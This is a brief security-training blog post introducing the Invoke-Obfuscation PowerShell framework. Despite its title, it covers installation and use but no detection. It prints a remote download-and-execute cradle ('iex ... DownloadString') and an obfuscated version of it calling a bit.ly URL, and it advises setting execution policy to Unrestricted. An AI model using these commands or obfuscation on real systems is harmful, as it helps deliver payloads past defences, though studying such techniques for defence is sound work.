PowerShell Obfuskation Techniques & How to Detect Them

April 26, 2017 | Views: 4087

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here


Invoke-Obfuscation is a code obfuscating Framework built on PowerShell by Daniel Bohannon.

Attackers are using more and more powerful techniques to obfuscate their scripts and codes. PowerShell script is one such particular way of attack which is very dangerous if used due to few reasons

  • Most of the internet population is on Windows.
  • It can be executed in a different number of ways.
  • PowerShell can be used in every part of attack cycle

There are numerous ways to execute PowerShell scripts. They can be from files like (.ps1, .vbs, .bat), from Microsoft Word, Microsoft Excel or even Remotely!

Installation:  https://github.com/danielbohannon/Invoke-Obfuscation

In order to install the Invoke-Obfuscation tool, download the git repository to a folder and fire up your PowerShell then type in: Import-Module  ./Invoke-Obfuscation.psd1


Welcome Screen for the Framework

If there was an error showing on your PC about Execution Policy Just type in this:  Set-ExecutionPolicy -Scope CurrentUser Unrestricted

This lets you execute your downloaded scripts.

Once this screen appears it is time to HAVE FUN!


 iex (New-Object Net.WebClient).DownloadString(“http://%s:%s/%s”)n 

This command to download something can be converted to this:

((${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}.”`I`N`V`o`k`e`C`o`m`m`A`N`d”). “`N`e`w`S`c`R`i`p`T`B`l`o`c`k”((& (`G`C`M *w-O*) “`N`e`T`.`W`e`B`C`l`i`e`N`T”).”`D`o`w`N`l`o`A`d`S`T`R`i`N`g”( ‘ht’+’tps://bit.ly/L3g1t’))) ….

All you have to do is to is:

SET variable <command>

Once set, just type in encode and select the options from above. You can generate a token by pressing the token command etc. Keep exploring the possibilities!


Share with Friends
Use Cybytes and
Tip the Author!
Share with Friends
Ready to share your knowledge and expertise?
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Support Cybrary

Donate Here to Get This Month's Donor Badge



Is Linux Worth Learning in 2020?
Views: 741 / December 14, 2019
How do I Get MTA Certified?
Views: 1313 / December 12, 2019
How much does your PAM software really cost?
Views: 1750 / December 10, 2019
How Do I Get into Android Development?
Views: 2140 / December 8, 2019

We recommend always using caution when following any link

Are you sure you want to continue?